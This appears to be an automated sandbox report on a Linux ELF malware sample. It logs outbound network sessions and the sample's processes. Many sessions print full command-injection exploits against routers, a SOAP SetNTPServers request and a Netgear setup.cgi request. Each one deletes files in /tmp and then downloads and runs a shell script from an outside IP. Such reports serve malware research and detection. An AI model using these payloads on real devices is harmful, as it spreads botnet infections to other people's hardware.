Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.23	60698	40.97.189.58	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:34.917526007 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.23	48988	1.100.21.86	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:38.294275045 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.23	35778	109.76.230.181	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:38.303917885 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.23	39460	212.231.97.90	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:38.303930044 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.23	55502	27.71.216.192	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:38.303955078 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.23	60024	17.110.23.40	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:38.303968906 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.23	54854	83.173.200.144	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:38.304013014 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.23	36164	76.242.109.61	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:38.304014921 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.23	53540	109.62.62.21	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:38.304024935 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.23	33110	67.103.117.169	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:42.261682987 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.23	36796	121.92.99.5	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:42.266499996 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.23	58336	205.24.95.180	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:42.271404982 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.23	49320	166.83.83.84	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:42.280982018 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.23	48640	153.182.215.227	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:42.285793066 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.23	36582	67.103.117.169	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:42.921298981 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.23	57004	169.123.14.215	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.374604940 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.23	59264	146.126.16.156	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.377439976 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.23	51102	145.193.78.150	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.383747101 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.23	40394	85.234.198.59	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.391552925 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.23	40608	96.83.187.144	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.391580105 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.23	36372	179.55.212.48	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.422091961 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.23	55110	147.21.247.6	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.422110081 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.23	44566	212.73.104.61	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.422122002 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.23	59352	217.21.43.237	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.422153950 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.23	33330	58.167.50.0	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:46.989407063 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.23	36458	128.21.91.200	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.326884985 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.23	37846	4.168.172.71	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.331686974 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.23	47990	30.247.207.117	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.336509943 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.23	35546	175.155.21.239	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.336515903 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.23	49774	197.147.138.154	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.336519003 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.23	47288	177.155.18.250	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.336540937 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.23	56056	213.51.224.244	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.336541891 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.23	59738	61.104.151.48	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.336556911 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.23	55468	40.60.61.198	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.341311932 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.23	33348	64.234.14.251	80

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:50.341331959 CEST	189	OUT	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://94.156.69.121/Cached/bld.sh+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.23	50346	55.144.199.182	5555

Timestamp	Bytes transferred	Direction	Data
May 16, 2024 16:40:51.109927893 CEST	795	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:5555 User-Agent: r00ts3c-owned-you SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: -5848056 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3f 3e 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 75 3a 53 65 74 4e 54 50 53 65 72 76 65 72 73 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 54 69 6d 65 3a 31 26 71 75 20 6f 74 3b 3e 3c 4e 65 77 4e 54 50 53 65 72 76 65 72 31 3e 60 63 64 20 2f 74 6d 70 20 26 26 20 72 6d 20 2d 72 66 20 2a 20 26 26 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 39 34 2e 31 35 36 2e 36 39 2e 31 32 31 2f 43 61 63 68 65 64 2f 62 6c 64 2e 73 68 20 [TRUNCATED] Data Ascii: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

System Behavior

Analysis Process: 7ALXuklmvu.elf PID: 6235, Parent PID: 6152

General

Start time (UTC):	14:38:46
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	/tmp/7ALXuklmvu.elf
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:46
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:46
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:46
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Analysis Process: 7ALXuklmvu.elf PID: 6239, Parent PID: 6236

General

Start time (UTC):	14:38:46
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
MD5 hash:	b930a99e739013a19a24b1c3ad22d96d

Start time (UTC):	14:38:47
Start date (UTC):	16/05/2024
Path:	/tmp/7ALXuklmvu.elf
Arguments:	-
File size:	80960 bytes
